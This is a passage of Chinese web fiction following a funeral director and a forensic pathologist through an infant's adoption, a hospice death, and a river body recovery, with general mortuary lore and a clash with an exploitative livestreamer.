而若是不慎高压电触电,则会造成严重的烧伤,皮肤呈焦黑色甚至碳化。这种烧伤甚至可以深达肌肉和骨骼,出现“骨珍珠”。
“便宜他了。”祝临川冷冷道。
白绯点头赞同:“这种阴暗批,私底下也不知道沾了多少血,如今也算苍天有眼,直接领了现世报了。”
祝临川附身撩开白绯脸侧的长发,爱怜地吻了吻那处擦伤,自责道:“都怪我,我今天该陪着你的。”
若不是那只三花,他岂不是就要和白绯阴阳两隔?他好不容易才与命运和解,难道老天就非要和他作对,麻绳专挑细处断吗?
“都是成年人了,难道还能像连体婴一样,走哪儿都粘一起吗?”白绯却不以为然,她一向心大,当时虽然也害怕,但过了也就过了。
如果她是那种内耗的性子,根本干不了殡葬这一行。
每天都在见证千奇百怪的死法,吃个火锅毛肚都能被噎死,想太多的人只会因噎废食,意外还没发生,自己先把自己吓死。
“对了,你今天是干什么去了?”白绯咬着叉子问道。今天祝临川出门时打扮得很正式,一看就是有正事。
祝临川原本是不想说的,但架不住白绯的追问,最终还是老实交代:“我被市刑侦大队法医处破格录取了,只要顺利通过一年的实习期,就能正式上岗。”
“真的啊?!”白绯惊喜地差点跳起来。
同是孤儿出身,没有谁比白绯更明白祝临川走到今天这一步有多不容易。
然而祝临川却并没有她想的那般高兴,反而犹豫道:“但我想还是算了吧。”
“啊?”白绯震惊得瞪大了眼睛,跪坐在祝临川面前,双手掐住他的脸,把好端端一张俊脸都捏出了鸭子嘴,质问道:“你最好能说出一个能让我信服的理由,不然我现在就把你拉到叔叔阿姨的坟前负荆请罪去。”
既然当初选择了这个专业,祝临川自然是有所想法的,怎么好端端的说放弃就要放弃?
祝临川却垂下眼睑不看她,沉默以对。
“怎么的,你还打算非暴力不合作了啊?”白绯都气笑了,凑上前细细地啃咬他的唇,有些恨铁不成钢。
祝临川配合地让她吻,却就是不肯多说一句。
然而白绯吻着吻着却突然福至心灵,不可思议地伸出一根手指指着自己,问道:“你该不会就是为了陪着我...”
祝临川那双浅灰色的眸闪了闪,竟是被她说中了。
白绯又好气又好笑,她没想到自己在祝临川的心中竟有这般重的份量。此刻的她,突然有些理解恋爱脑的女儿被黄毛拐走时,那些父母的心态了,说想炸了这个地球都是轻的。虽然眼前这人恋爱脑的对象是自己。
“你好好听我说。”白绯直直地注视着祝临川的眼睛,她极少有这么严肃的时候:“每具尸体都在等着有人替他们说话,你要成为能让死者闭上眼睛的人。”
祝临川的瞳孔猛地紧缩,这一刻,他再次回忆起了自己选择法医系的初衷。
“不要浪费你的才能。你让死者瞑目,我送逝者体面。”白绯笑得肆意又张扬,眼里像是有满天星光,“还有比我俩更般配的吗?”
祝临川的回答是将她再次扑倒在了床上。
第二天一早,祝临川就被白绯撵着出了门。
“去去去,好好干啊!这么好的铁饭碗,过了这村就没这店了。你知道现在多少大学生毕业就失业,月薪三千都算烧高香了吗?”
祝临川无奈地勾了勾唇,回头在她额头印下一个吻:“那我走了。”
“去吧去吧,别搁这十八相送了。”白绯心虚地左右看看,确定除了三个小宠物外谁都没见到,挥手把人送走了。
她也没闲着,开车去市里接上白书远夫妇一起去了医院。今天,叶小兰的孩子可以出院了。
刘老太嫌弃是个不带把的,又是死后产女,宁可重新去福利院领养一个没有血缘关系的男孩,也不愿意要这亲生孙女。叶家一则觉得晦气,二则也不愿意要这外姓的孩子,也选择了放弃抚养权。最终,这孩子还是交给了白家。
周芸特意翻出了原主小时候用过的包被和小衣服,还在市区的房子里布置出了一间婴儿房,用来暂时安置这孩子。
之前他们夫妇俩去接触了那家有意领养孩子的中年夫妇,原本都已经谈妥了,但临别前,白书远多嘴问了一句:“我刚才看见玄关挂着市三医院的袋子,家里有人生病了?”
男主人看看那个袋子,不以为意道:“哦,那个啊,没人生病。若若听说市三生殖科比较厉害,最近在向那边咨询做三代试管的事,想着最后再试试。”
周芸听完当即脸色就变了,之后就找了个理由回绝了他家。女主人还在尝试怀孕生子,若是将来有了自己的亲生孩子,那么这个被领养的孩子该如何自处?倒也不是非得以小人之心度君子之腹,只是既然能提前规避风险,又何必赌上这孩子一辈子的幸福呢?
因此这孩子只能暂时交由白书远夫妇抚养,等到找到靠谱的人家后再说。
“我不敢不敢,别让我抱啊!”面对各色腐败的尸体尚能面不改色的白绯,在护士企图把孩子塞进她怀里时却吓得连连后退,把头都摇成了拨浪鼓。
“我来吧。”白书远活动了下筋骨,仿佛捧着炸药包般浑身僵硬地接过了孩子。虽说只是个不到十斤的孩子,但不习惯的人还真吃不消抱
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“这孩子长得像小兰,真好。”周芸掀开襁褓看了看孩子还有些皱巴巴的小脸,欣慰道。
白绯看有人接手,也犹犹豫豫地靠了过来,略微有些嫌弃地皱了皱鼻子:“她怎么又黑又红的,好像个小猴子。啊,妈啊,她刚才是不是打哈欠了?”
周芸哭笑不得:“她是个活人,打哈欠不是很正常吗?你小时候也是这样的,又黑又红,你爸都怀疑我俩这冷白皮怎么会生出你这么丑的小娃娃,还以为你基因突变了呢!”
白绯有些讪讪地笑笑。周芸说的是原主,又不是她。也不知道她小时候到底是什么样的。
白书远连大气都不敢喘,看着怀里睡得香甜的孩子,语气很是怀念:“爸爸都快忘了二十五年前是怎么抱你的了。你当时特别能闹腾,能吃能喝又能拉,还一宿宿地熬夜修仙,给你爸我都快整出产后抑郁了。”
周芸揶揄道:“那你不是还整宿整宿地陪着,绯绯睡了你也不睡,盯着她在那儿傻笑。”
“嘿嘿,我盼了那么久的女儿,心想事成,当然怎么看也不够啊!”
白书远和周芸笑着对视,给站在一旁的白绯喂了一口现成的狗粮,还量大管饱。
白绯心下有些内疚,夫妇俩爱情的结晶到底还是被她鸠占鹊巢了。她的心情因此有些低落,只不过并没能持续太久。
她们先带着宝宝去祭拜了小兰,自从她下葬后,刘家和叶家连问都不曾问一句,更遑论祭奠。好在有先前安夏撒下的花种,如今有不少已经长出了花苞,瞧着倒也不觉得冷清。
孩子似有所觉,之前一路都在酣睡,到了小兰墓前竟醒了过来,还咿咿呀呀地朝墓碑伸手。
白书远抱着孩子过去,看她伸出稚嫩的双手拍打墓碑,也不禁老泪纵横。
有带着花香的风吹过,轻柔地吹动孩子脑袋上的胎发,就像是一只看不见的手,温柔缱绻的抚摸。
然而这番感人肺腑的场景并没能持续太久。
就在白书远夫妇想带着孩子回市里的时候,宝宝却突然大声啼哭起来,憋红了脸使劲挥舞着小小的双手,双脚胡乱踢蹬。
白书远毕竟年纪大了,一时没有防备,竟然闪了腰。
周芸赶紧接过孩子往白绯怀里一塞,担心地上前查看。好在应当没有伤了骨头,只是不小心扭到了麻筋,坐着缓一缓就行。
白绯猝不及防下被塞了个孩子,人都懵了。
“安夏!小施!你俩快过来帮帮我啊!”白绯惨叫道。
然而陈安夏和小施两人都还是母胎单身,根本不敢碰这浑身都软绵绵的孩子,只互相依偎着站在不远处哆嗦,垫着脚伸长了脑袋看着这边。
“我不敢啊绯绯姐!她那么小!”
“我社恐!我也不敢…”
白绯抱着孩子被气得眼睛都瞪圆了,却又不知道该如何是好,只是浑身僵硬地愣在原地。
“估计是饿了,我去给她泡点奶粉。绯绯,你看看孩子拉没拉,给她换块尿不湿。”
周芸把白书远扶到沙发上坐下后,就赶紧跑去车里拿奶粉。
白绯孤立无援地看着她离去的背影,在直达天灵盖的哭声中差点当场崩溃:“怎么换啊!我不会啊妈!你别走!!!”
现场一片混乱,小黑和大鹏还一直在她脚边打转,想看看主人怀里的噪音制造机。三花则更放肆,抓着白绯的裤腿就往上爬,准备亲眼看个究竟。
白绯一时不慎,竟然被绊了个狗吃屎。在摔倒的那一瞬间,她唯一的反应就是把孩子护在了怀里。
然而预料中的疼痛并没有到来,熟悉的怀抱在小施和安夏的尖叫声中稳稳地接住了她。
53. 撮空理线,循衣摸床
“你们这是搞什么呢?”
上了一天班回来的祝临川一进小楼就看到这鸡飞狗跳的一幕,哭笑不得地问道。
“临川...”白绯差点哭出声来,像看救命稻草似地死命抓着他的袖子,让他看怀里哇哇大哭的孩子,“她好像拉了!”
祝临川:....
“我来吧。”
终于有人接手了这个炸药包,白绯如释重负。
她眼巴巴地跟在祝临川屁股后面,看着他把孩子轻柔地放在沙发上,又抽出纸巾给她擦干净屁股,然后再换上干净的尿不湿。
一系列动作可谓是行云流水。
孩子身上舒服了,自然也就不哭了,乖乖地窝在祝临川怀里,眨巴着眼睛看着他。
祝临川低头和孩子对视,眼神温柔。
小施捏着鼻子,另一只手伸长了拎起地上还兜着屎的尿不湿,跑去外面扔。
安夏崇拜地看着祝临川,连连称奇:“临川,你也太厉害了,怎么连换尿不湿都会啊!”
祝临川伸出手指逗了逗孩子,解释道:“以前在托育园打过工。”
“你真的有点过于全能了啊。”白绯赞叹道,这根本就是六边形战士啊!
等周芸利索地泡完奶粉,祝临川就接过奶瓶喂起了孩子,喂之前甚至还贴心地先倒置去除了气泡。
“小祝,以后你的妻子有福了啊。”周芸也给出了肯定,欣赏地看着这个又俊俏又能干的小伙子。
祝临川腼腆地笑笑,没说什么,只是偷偷抬眼瞥白绯,还被她抓了个正着。
“看我干嘛?”白绯无声地用嘴型问道。
祝临川先是意味深长地看看她,随即视线向下,在她平坦的小腹上一触即走,嘴角勾起一抹羞涩的笑。
“绯绯,你干嘛啊?”周芸被边上突如其来的动静唬了一跳。
只见白绯也不知怎么的,突然捂着自己的肚子连连后退,还不慎踩到了三花的玩具大象。玩偶因为她的踩踏发出biaji一声尖叫,在空旷的大厅里余音回响不绝。
小三花急得在地上喵喵直叫,不停地轻挠白绯的小腿,让她放开自己的宝贝。
“你肚子不舒服?”周芸看她捂着小腹,担忧地问道。
“没有,哈哈。”白绯打着哈哈回道,避开众人的注视恶狠狠地瞪了祝临川一眼,捡起大象玩偶塞进三花怀里,又连猫带玩具一把揣上,直接落荒而逃:“我去教训教训这只臭咪,刚才差点害我摔跤!”
她跑上楼砰地一声关上房门,把脸埋在懵逼的三花肚子上,恶狠狠地吸了一口。
等抬起头时,白皙的脸上满是红晕。
“可恶,真的太可恶了。”她一下又一下地戳着玩偶,在不断响起的biaji声中嘀咕道,“看来是我最近对这个小童工太好了,竟然敢肖想我...”
两人该做的都做了,尤其是每次祝临川的架势,都像是恨不得把她揉进自己的骨血里似的。但是无论哪次,祝临川都没有忘记做措施。这是个很好的习惯,免得她事后再吃药,毕竟那玩意儿确实伤身。
所以她一直以来,都以为祝临川可能也不喜欢孩子,或者并不想和她一起生孩子。但是依目前的情况看来,明显不是的。
白绯终于后知后觉地意识到,祝临川是来真的了。
这让她感觉到压力,从小失去亲缘关系的她,并不渴望建立自己的家庭,她已经无拘无束惯了。如果只是和祝临川谈谈恋爱,她倒还是愿意的,毕竟这实在是个各方面都合他心意的男人,但若是要和人走进一段婚姻...
白绯没忍住打了个寒颤,还是算了吧。
她翻了个身,盯着天花板又开始发呆。
不过也许只是她自作多情了呢?白绯给三花挠着下巴,看它舒服地眯起眼睛,问道:“要不要给你也找个小公猫伺候你?”
她掰起三花的后腿开始耍流氓:“都说三花一般都是母猫,让我来看看...”
三花拼命挣扎,却还是没躲过白绯的魔爪,让她看到了挂在腿间的两个毛绒绒的铃铛。
天塌了,这竟然还是只极为罕见的三花公猫。
她怜爱地摸了摸三花的脑袋:“听说三花公猫基本都是不育...”
三花愤怒地喵喵叫了一声,跳下床跑了。它几步跑到门口,一个灵活的起跳,就把门打开了。
门外正站着一脸凝重的祝临川。
“林柔不行了。”
前往医院的途中,白绯的心里很沉重。她一直没有去探望林柔,就是觉得自己做这行晦气,希望和她再也不要有相见的机会,至少...也不要那么快。
病房门口,许久未见的叶沐风垂头站在走廊的窗边,单手捂着脸。他比上次见的时候又瘦了很多,身上的白衬衫也皱巴巴的。
“叶先生。”白绯走到他身边,看了眼病房紧闭的房门,担忧地轻声道,“你...还好吗?”
叶沐风放下手,露出一双通红的眼睛。白绯被那双遍布血丝与悲伤的眼睛一看,连呼吸都慢了一拍。
“白小姐,祝先生,你们来了。”叶沐风的嗓音很沙哑,带着浓浓的疲惫。他似乎想试着笑一笑,嘴角却只能勾起一个僵硬的弧度。
“柔儿在里面,你们去看看她吧。”
才打开房门,白绯就听到了压抑的哭声,声声泣血。而夹在其中的,还有一种极其微弱的声音,就像是有人在低低的叹气。
她握着门把手的手一紧,耳边响起祝临川惋惜的声音。
“叹气样呼吸。进去吧,留给我们的时间不多了。”
空气中飘荡着一股腐烂的臭味,很多重病将死的人,在临终前都会散发出这种不太好闻的气味。这是因为在他们千疮百孔的外表下,内里也早已被病痛折磨得生机全无。
白绯看到了躺在病床上的林柔。
她睁着眼睛,但似乎却没看到身边围着的任何人,只是抬起两只瘦得皮包骨的手臂,在空中来回摸索。仿佛她面前正有一团谁都看不见的线,而她正在试图把他们理顺似的。
“妈,你想要什么?”叶怀瑾像是在短短的时间里终于长成了大人,气质沉稳了很多。他红着眼眶握住林柔的手,凑到她耳边轻声地问道。
林柔却并没有回答,手却又顺着被褥开始在床上摸索。
“妈,你是在找什么东西吗?你告诉我,我给你拿。”
“撮空理线,循衣摸床。”白绯感觉自己的嗓子里也被卡了一团硬硬的东西似的,她清了清嗓子,走到叶怀瑾身后低声道,“林女士她...出现幻觉了。”
叶怀瑾的眼睛更红了。
很多人都知道,病重的人在临死前会回光返照,精神好转。例如意识变得清晰、食欲也突然好转。这是因为濒死时,人体会突然分泌大量的肾上腺素,调动残余能量来维持生命体征,但这种状态转瞬即逝,很快就会消失。
而除了这种情况外,濒死之人还极有可能出现幻觉,就像林柔今天的状况。有时,他们还会突然喊出逝去亲人的名字,说她们过来接他了。
白绯有时候在想,也或许这不是幻觉,而是心中惦念的人当真
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跨过生与死的界线,来接他们一起走了呢?如果这样,即使是黄泉路,应该也不会那么孤单了吧。
林柔的状态确实肉眼可见的差,她更瘦了,脸颊凹陷,肤色蜡黄,四肢却浮肿。她似乎短暂地恢复了点意识,不断地轻声呢喃道:“好重啊...”
“囡囡你说什么?”病床另一边坐着一名佝偻的老太太,她把耳朵凑到林柔嘴边聆听,努力想要分辨她说的话。
她的眉眼和林柔长得很像,应当是她的母亲。
这世上最残忍的事,莫过于白发人送黑发人了。林老太太看起来快碎了,她用苍老的手轻轻抚摸着林柔的脸,泪水止不住地落下。
白绯没有多说,只是将林柔身上的被褥轻轻揭开了些。
林老太太和叶怀瑾一开始还不理解,但林柔却突然低低地叹了口气,终于停下了念叨。
“可是妈妈她的手很冰...”叶怀瑾无措地看着白绯,想要把被子再拉回去,却被祝临川拦下了。
“林女士现在体温可能只有35度左右,但她不会冷的。盖着被子,她反而会觉得重,很难受。”
白绯曾经也在病房送走过一个客户。当时客户嚷嚷着要喝水,家属给接了杯温水,客户却一直喊着烫。这是因为将死之人体温通常都只有35度,自然会觉得温水烫,但他本人却并不会因此觉得冷。
叶怀瑾显然是聪明人,转瞬就明白了祝临川未竟的话。他拽着被子的手猛地握紧,不住地颤抖,最终却也只深深地吸了口气,道了声好。
白绯拍了拍叶怀瑾的肩膀,和祝临川离开了。她们守在病房外,把最后告别的时间留给了这些痛不欲生的人。
小祝和陈安夏在停车场待机。通常情况下,她们要在逝者去世后尽快穿好寿衣,时间尽量控制在一小时内。因为1-3小时后,逝者就会出现尸僵,并在12-24小时后达到顶峰。但随着尸体的腐败,24-48小时候,尸僵又会逐渐缓解。
尸僵一般最先出现在小肌肉群,例如眼睑、下颌、颈部,然后逐渐向上肢、躯干、下肢蔓延,最后全身关节固定,直到很难再用外力改变姿势。
除了时间外,给逝者穿衣服也是一件体力活。同样是100斤的重量,搬动死者和活人绝对不会是同一个体感。
逝去的人要重很多很多。
所以一般,至少要有两个人一起配合,才能相对轻松地给逝者净身、换衣。一般是先下装后上装,最后穿鞋。
穿衣服时也不能像给活人穿衣般直接扶着逝者坐起来,这样非常有可能不小心摔到逝者,实在是太不尊重了。所以她们一般会采取左右翻动侧身穿衣的方式。
大部分殡葬师在处理前还会先用一块毛巾轻轻覆盖在死者的面部,而且这块毛巾通常都会先用酒精打湿。这是因为在搬动逝者的过程中,死者极有可能还会叹气。
这可不是诈尸,更不是什么灵异事件,而是死者的身体受到挤压,所以吐出了身体里最后一口空气。而殡葬师用毛巾覆盖,就是为了避免不小心被这口气直直喷在脸上,亦即“避殃”。
玄学解释说是因为这口气比较晦气,但科学说法其实是因为这最后一口空气中细菌含量比较高,若是真的不小心被喷中了,倒也不会怎样,只是可能会因此造成免疫力低下,感冒发烧而已。
隐忍的哭泣声即使隔着房门也能听见,白绯的食指与中指不住地摸索,竟是烟瘾有些犯了。
她发呆地看着窗外,耳朵却一直凝神在背后。
突然,她的嘴里一甜,竟是被塞进了一颗薄荷糖。
54. 三不捞
薄荷的清香中和了甜味,让她从踏进医院后就昏昏沉沉的大脑终于得到了片刻的清醒。
祝临川的指尖从她的唇上擦过,残留下灼热的温度。他没有多说什么,只是无声地往她身边靠了靠。
白绯没有再勉强自己,身子一歪,就倒进了祝临川的怀里,疲惫地闭上了眼睛。
无论多少次,她都无法习惯生离死别。她经常说叙白应该去看看心理医生,但其实做她这行的,也应该定期去做心理疏导才对。
来回的医生和护士行色匆匆,疲惫而麻木。消毒水的气味和仪器的滴答声是那么沉重,让她的心脏像是被什么重物牢牢压住,透不过气般的窒息。
祝临川垂眸看着怀里阖着眼的人,从他的角度,可以看见那对总是飞扬肆意的眉如今却像是笼着江南烟雨般微微蹙着,纤长的睫毛如不安的蝴蝶振翅。
有人呼啦啦地冲进病房,急促的脚步声踏在每个人的心上,终于,一切结束在撕心裂肺的悲泣声中。
“妈!”
“柔儿!”
“囡囡!”
林柔去世了。
由于林柔提前做了安排,最后一切都得以有条不紊地进行。
在白绯的化妆术下,林柔又重现了昔日照片中的模样,这让叶沐风父子以及林老太太心中又欣慰,又悲戚。
好像那些被病痛折磨的日夜都不过是一场噩梦,那被鲜花环绕的人只不过是陷入了酣睡,下一刻就会笑着睁开眼,说一句“我是不是睡了很久”。
只可惜,命运是残酷的,总有人无声无息地留在昨日。
白绯也终于知道了林柔留在墓碑上的二维码到底是什么内容。那是一段视频,镜头前,生病前的林柔正躺在树林里的吊床上浅寐,阳光照在她的脸上,有花瓣被风吹下,轻轻飘落在她的身上,仿佛也不忍打断这场酣眠。
让人恍惚间觉得,坟墓不再冰冷,墓碑下不过是一个在春风沉醉中长眠的幸福的人罢了。
葬礼结束后,叶怀瑾已经彻底长成了大人的模样,一左一右撑起了佝偻的外婆和一夜白发的父亲。
生活还要继续,林柔在天之灵,也一定希望留下的亲人能继续好好生活。
白绯目送他们离去,重重地叹了口气。她感觉眼睛又涩又疼,仿佛针扎似的。然而她却昂着头固执地不肯离开,直到带着薄茧的温度和黑暗一同降临。
“别看了。”耳边的叹息声带着藏不住的心疼和无奈,熟悉的白茶花香气让她紧绷了一天的肩膀终于松懈。
“我带你去休息。”
等白绯混沌的大脑反应过来时,她已经被妥帖地放在了自己房间的床上。
祝临川拉上窗帘,又给她掖好被子。
“睡吧。”黑暗中,他淡灰色的眼眸里却仿佛藏着点点星光。祝临川俯身在白绯额头印下一个淡淡的吻。他正想起身离开,不想衣角却突然被拉住。
白绯仰头看着他,脖子扬起的弧度脆弱又诱惑。
“别走。我不想...一个人。”
黑暗中响起窸窣的声响,是祝临川也上了床。白绯几乎是迫不及待地把自己揉进了他的怀里,感受着他的体温,用耳朵数着他胸膛里有力的心跳声。
“砰,砰,砰...”
在生命存在的跳动声中,白绯的心终于慢慢沉静下来,最后筋疲力竭地闭上了眼睛。
祝临川垂眸看着她的睡颜,片刻后抬起手指,轻柔地揩了下她绯红的眼角。
那是一滴没有落下的泪。
祝临川沉默地看着指尖的那抹水渍,神色未明。然后,他慢慢张开了嘴,伸出鲜红的舌尖,将那抹泪卷进了嘴里。
白绯第二天是被孩子的哭声吵醒的。
周芸眼下的黑眼圈堪比国宝,看着祝临川怀里安静吸奶嘴的宝宝哭笑不得:“这小东西,还是你有办法。昨晚我和你白叔被她闹得一晚上都没睡。”
“育婴师还没来吗?”白绯有些心疼老两口,站在周芸身后给她揉捏酸痛的肩颈。
“保姆阿姨说家里临时有事,要今晚才能过来。”白书远扶着腰无奈道:“本来还觉得用不着阿姨,没想到才几天就差点给我这把老骨头都累散架了。”
“但是现在临川该去单位了。”白绯抬眼看了眼大厅的挂钟,已经快八点了,再不出发可要迟到了。
她看看精疲力尽的老两口,又看看畏畏缩缩躲在一旁的安夏和小施,深吸一口气,没办法,只能自己上了!
只是哪知道这小宝宝也不知是什么原因,就是认准了祝临川,双眼巴巴地瞅着他,看他转身离开,哭得简直撕心裂肺。
这么个小东西,又不会说话,只能拼了命地用眼泪表达自己的不舍。
大概她当初在肚子里,也知道是祝临川发现了她还一息尚存,给了她出生的机会吧?
总而言之,最后大家只能选了个折中的方式,由白绯带着孩子,跟祝临川先去单位里将就一天,等阿姨来了就好了。
一小时后,白绯抱着宝宝站在水流湍急的江边,无语地和提着工具箱的祝临川道:“我就说该去庙里拜拜吧?”
今早,她和祝临川才刚到法医处,在门口就遇到了匆匆往外赶的吴法医。
吴法医看着这一家三口,手里的工具箱“啪”地一声掉在地上,镊子剪刀哗啦啦从里面滚落。他目瞪口呆道:“小祝,你连孩子都有了?”
祝临川简单解释了两句。吴法医当时是接手过刘耀祖的案子的,对这个棺中出生的孩子也有所耳闻,闻言轻轻摸了摸孩子的小脸蛋,感慨道:“小妮儿,你的福气在后头呢。”
“对了,吴老师,你这是去...”祝临川帮忙合拢工具箱,提起来递给他。
“要出现场,小祝,你也一起来。”
据吴法医说,有两个小年轻在这里飙车,过弯时没减速。好巧不巧,路边又正好不知道被谁撒了一地大粪,二人就这么直接冲破护栏掉进了江里。
江水湍急,几乎是片刻就没了人影。
白绯:飙车?怎么感觉有点熟悉...
现场已经被封锁,两岸边站满了乌泱泱的围观群众。警察正在调取监控,救援队已经上岸,紧随其后下场的捞尸人也已经打捞了三个来回,正在给船尾装拖钩。
那是一整排的尖钩,呈三角状。钩子尖端隐隐发红,那是长年累月浸染其中无法清洗掉的血渍,即使在正午的阳光下,也依然散发着让人寒毛直竖的寒气。
“无情钩啊...”白绯看着那排和猪肉摊上颇为相似的挂钩感慨道,“看来是没什么生还的可能了。”
何止没有生还的可能,被无情钩捞上来的遗体都会损毁十分严重。因为你无法确定钩子会勾住遗体的哪个部位,也许是胳膊、腿,甚至肚子,脑袋,眼睛...
伤痕累累都算是好的了,搞不好还会肠穿肚烂、脑浆横流。
所以也有一个说法:“尸体上岸,生人回避。”按照科学解释,也是怕吓到旁人,尤其是怕家属接受不了尸体的惨状,心理崩溃。
白绯就曾经接手过的几具被无情钩打捞上来的
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遗体。其中一具被钩子划烂了全身,最后勾住了眼眶才被拉上岸。另一具身上倒是完好,只是不幸被挂钩从后勃颈穿入,又直接从嘴巴穿出,其惨状让岸上五个家属当场就哭晕了三个。
警戒线外,有人正指着那些面容朴素的捞尸人窃窃私语。
“看,是水鬼。好晦气,怎么干这种活哟!”
“他们刚才路过我身边的时候,我都闻到腐臭味了,呕…太臭了!”
“啧啧啧,干这行的人都邪气得很...咱们离远点…”
对这种话,白绯已经习以为常了。她们作为殡葬行业的人,和这些捞尸人的待遇可以说不相上下。
白绯在穿书前曾和一个年轻人小方关系不错。小方全名方瑜,名字秀气,却是个实打实的壮汉。他理着寸头,眉眼悍利,身材高大,能单手把白绯举到肩头坐着,是捞尸人中难得的年轻人。
捞尸这一行,和她们干殡葬的差不多,是公认的“苦、脏、臭、穷”。因为他们常常需要直面高度腐败的遗体,而且长期接触这类腐尸,还有可能会造成细菌病毒感染,危害他们的身体健康。而这么辛苦的伙计一般单次收入也不过在300-500而已。
除了生理上的伤害,捞尸人在心理上也承受着巨大的压力。
小方的师傅曾笑言:尸体的腐臭已经渗入了我的骨髓,洗不净,沾一生。
他在收下小方这个徒弟前,五十年来都常年驻守趸船,只和狗为伴,没有任何社交往来。
“如果是为发财就不会进这行了。”当时的小方蹲坐在岸边抽烟,远远望着那边的家属围着终于被打捞上岸的尸体绝望哭泣。
缭绕的烟雾遮挡住他的表情,白绯只能听到他淡淡的声音,“如果不是师傅,爸爸现在还在水底…有些事,总要有人来做。”
说起来这小子,如今也不知道怎么样了?
白绯抱着宝宝转了个身,虽说这孩子的出生地也算是独一份了,但她还是不想给她看到这些。她正想着走远点,就又听到背后传来交谈声。
“刚才有一具遗体已经通过水下摄像机确认了方位,只是...”
“只是什么?别吞吞吐吐的。”
“只是遗体是站着的。”
“嚯,这么凶!?”
“是啊,祖上可是有规矩,三不捞啊。”
白绯听说过这个三不捞。
三不捞,即:竖立尸不捞,三捞不起尸不捞,长发女尸不捞。
当时方瑜还故弄玄虚地吓唬过白绯,却被她直接一巴掌拍在胸口,嗤笑道:“吓唬吓唬行外人就差不多得了。”
确实,其实很多的行规都是经验总结而来的生存法则,并没有那么玄乎。
这个祖训来源不过是打捞这三类尸体有较大概率造成船翻人亡的后果罢了,因而才被耳提面命流传至今。
竖立尸不捞,是因为尸体若是竖立在水中,则说明其附近有水下旋涡,若被暗流吸入很难脱身;三捞不起尸不捞,是因为这种情况下捞尸人的体力已经耗尽,再次下水风险太大;长发女尸不捞,则是因为有被长发缠绕致命的风险。
但是现代社会,有了诸多器材的辅助,打捞风险已经被降低了很多,虽然依旧艰难。
“那...不捞了?”
“我们不捞,还有谁捞?”一个颇为耳熟的声音调侃道,语气中的吊儿郎当让白绯有一种既视感,仿佛不久前才刚听过。
就在她想回头看看时,却在不远处又发现了两个熟人,正拿着手机妄图偷偷翻越警戒线。
55. 梅开二度
“走近点拍,这次粉丝一定能破万!”
“可是...我不敢看。要不是我多嘴提起你说的这个地方,小廖和小郑也不会到这里来飙车,最后掉进河里…”
“关你屁事,是你把刀架脖子上逼他们来这压弯的吗?上回祁东和小雪的事,条子不也来问了,最后还不是一样放我们走了?我们不过是提议了一句,油门是他们自己拧的,怪天怪地也怪不到我们身上,你心虚什么!”
说话的男人正是阿成,而边上扭扭捏捏的女人则是许久不见的罗雪萍。一阵子不见,两人看着倒是洋气了不少,手上拿着最新款的相机,身上穿的也都是牌子货,这是发达了?
“说起这个,也不知道是哪个狗杂种把我们供出去的,让老子查出来,哼...”阿成眼中的凶光一闪而过,又不耐烦地撇眼看了罗雪萍一眼,催促道:“你到底走不走?”
“可是我还是怕…”
“啧…那你一个人待着吧,磨磨唧唧的。”
“阿成你等等我…”
阿成却已经不耐烦了,撩开警戒线就想钻进去,却和正好往外走的祝临川撞了个正着。
“临川?”追过去的罗雪萍也看到了他,惊讶地问道,“你怎么在这?”
祝临川对这个伥鬼表姐没什么好感,只是冷淡地点点头,就自顾自朝白绯走了过来。
“江边风大,你和宝宝别在这儿待着了。”祝临川温柔地替白绯理了理被风吹乱的长发,自然地站在身前替她挡住了呼啸的风。
罗雪萍愣了一瞬,很快就面露不屑,嘲讽道:“养不熟的狼崽子,竟然和自己的嫂子勾搭在一起。白绯,可真看不出来啊,你还挺会玩,这么快连孩子都生了,果然是早就有奸情。”
她对着地上啐了一口,脸上颇有些赢了的得意。
千娇百媚的大小姐又怎么样,还不是一样被男人甩了?一个破鞋,我看你还高贵不高贵得起来。
白绯却不欲与她雌竞,只叹了口气,对祝临川道:“你看,我就说该去拜拜吧?”
祝临川冷冷回头瞪着罗雪萍,毫不客气怼道:“不会说话可以闭上嘴。”
罗雪萍虽然看不上这个自小被祝红梅收养的表弟,一个人对上他却也有点犯怵。大概是因为这脑子不好的表弟学什么不好,偏要去学那解剖死人的法医,天天血赤呼啦的,也不嫌恶心。
这么一想倒是和白绯这个做死人生意的还挺般配,一样的晦气,一样的变态。
她在祝临川的眼刀下有些怂,往后退了几步抓住阿成的胳膊。有了倚仗后,她定了定神,色厉内荏地叫嚣:“怎么,干了亏心事还不让人说?”
阿成围观了全程,却并不在意这些桃色绯闻,他只注意到了祝临川身上A市局法医处的制服。
好家伙,要是有个自己人是干法医的,那岂不是要什么内部消息都轻而易举?到时候再整个法医处内部探秘,各种凶案要案都能拿到一手资料,哪还需要自己费尽心思制造意外?
“小萍,别这样。”阿成计上心头,摆出一副善解人意的样子,只不过配着他那副流里流气的外表却十足地别扭:“感情这种事,强求不来,好聚好散嘛!你看二位,多般配。不被爱的才是小三,我倒是觉得峻辉应该反省反省自己才对。”
白绯:…什么乱七八糟的。
罗雪萍没想到阿成胳膊肘往外拐,又在白绯面前被落了面子,有些下不来台,抱着胸咬唇不说话了。
“临川,白绯,你们好,我是小萍的男朋友,陈成,职业是名主播。”他骄傲地冲人摇了摇手机,迫不及待地暴露了自己的真面目,“临川,你是局里的法医吧?能不能带我过去看看?这么劲爆的现场,一定能让我火一把…”
“不能。”祝临川却丝毫不给面子,侧身将白绯和宝宝完全护在身后,以防她们入镜。
陈成的脸几乎是立刻就拉了下来。
“怎么给脸不要脸啊?”亲亲男友被拒绝,罗雪萍就像只母鸡护崽般立刻叫嚣起来:“一个没爹没妈的孤儿,吃我们家剩饭长大的种,还捡了我弟不要的破鞋,在那里高傲什么?我看你,只是个打杂的临时工吧?”
白绯也不知怎么的,自己被罗雪萍奚落时还能嗤之以鼻,但是听到她嘲讽祝临川的出身却一秒也忍不了。
“霸占别人家的房子财产,还好意思放下碗骂娘,也不怕噎死你?老天要是长眼,第一个就劈你们这一家子没心没肺的白眼狼。”白绯从祝临川身侧探出头,毫不客气地对着罗雪萍翻了个大大的白眼。
罗雪萍却丝毫不觉得她们当初做得有哪里不对,因此对白绯的指责内心毫无波澜,甚至还觉得有些好笑。
指望恶人良心发现甚至愧疚,应该比资本家良心发现的可能性更小吧。
她正想开口说什么,远处却突然传来一阵呼喊。
“捞起来一具!”
“快快,搭把手!”
陈成阴鸷地最后看了祝临川一眼,抛下一句“我记住你了”,就拿着手机去找能拍到尸体的好位置去了。
